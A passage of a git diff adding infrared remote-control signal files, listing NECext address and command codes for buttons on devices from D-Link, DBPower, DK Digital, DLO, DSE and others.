STOP +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 58 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 59 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 5A 00 00 00 +# +name: USB +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 5C 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 5D 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir b/assets/resources/infrared/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir new file mode 100644 index 000000000..e6098c736 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 10 00 00 00 +# +name: RightArrow +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 11 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 12 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 13 00 00 00 +# +name: UpArrow +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 14 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 15 00 00 00 +# +name: DownArrow +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 16 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 17 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 18 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 19 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1A 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1C 00 00 00 +# +name: LeftArrow +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1D 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1E 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 40 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 41 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 42 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 43 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 44 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 45 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 46 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 47 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 48 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 49 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4B 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4D 00 00 00 +# +name: dot +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4E 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 50 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 51 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 52 00 00 00 +# +name: AudioOut +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 54 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 55 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 56 00 00 00 +# +name: Shuffle +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 58 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 59 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir b/assets/resources/infrared/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir new file mode 100644 index 000000000..c091cfc46 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: AUDIO_PRIVACY +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 80 00 00 00 +# +name: SELF/REMOTE_VIEW +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 81 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 83 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 85 00 00 00 +# +name: CONTRAST +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 86 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 87 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 88 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 8A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 8B 00 00 00 +# +name: SPEAKER_PHONE +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 8C 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 8D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 90 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 91 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 92 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 93 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 94 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 95 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 96 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 99 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 9A 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 9B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 9C 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 9D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 9E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir new file mode 100644 index 000000000..dc27e2d9b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: down +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: mute +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: right +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: up +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: left +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: back +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: vol_up +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: vol_down +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: power_on_off_toggle +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1D 00 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1E 00 00 00 +# +name: source +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir new file mode 100644 index 000000000..1b9009eb4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: f.fwd +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: l/r +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: n/p +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: f.bwd +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir new file mode 100644 index 000000000..18f0d3cc4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: PROGSCAN/NORMAL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: A/B_REPEAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir new file mode 100644 index 000000000..3901430ae --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: step +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: lr +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: repeat2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DLO/HomeDock/238,135.ir b/assets/resources/infrared/_CSV-IRDB_/DLO/HomeDock/238,135.ir new file mode 100644 index 000000000..c29cb771f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DLO/HomeDock/238,135.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: ENTER +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 01 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 03 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 04 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 05 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 05 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 06 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 06 00 00 00 +# +name: SCREEN_SAVER_ON +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 10 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 1A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 1A 00 00 00 +# +name: DOCK_MODE +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 20 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 26 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 29 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 29 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 2E 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 2E 00 00 00 +# +name: SHUFFLE_ON +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 30 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 38 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 38 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 40 00 00 00 +# +name: SCREENSAVER_OFF +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 48 00 00 00 +# +name: HOME_PAGE +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 50 00 00 00 +# +name: IPOD_MODE +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 60 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 62 00 00 00 +# +name: VIDEO_MODE/OSD +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 6A 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 6A 00 00 00 +# +name: VIDEO_MODE/_OSD +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 6A 00 00 00 +# +name: PREVIOUS_PLAYLIST +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 6E 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 6E 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 6E 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 80 00 00 00 +# +name: SCREEN_SAVER +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 83 00 00 00 +# +name: SCREENSAVER +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 83 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 92 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 92 00 00 00 +# +name: NEXT_PLAYLIST +type: parsed +protocol: NECext +address: EE 87 00 00 +command: A1 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: EE 87 00 00 +command: A1 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: EE 87 00 00 +command: A1 00 00 00 +# +name: SHUFFLE_OFF +type: parsed +protocol: NECext +address: EE 87 00 00 +command: E0 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: EE 87 00 00 +command: E6 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: EE 87 00 00 +command: E6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir new file mode 100644 index 000000000..bf6fefcba --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 12 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: Still +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: Index +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: 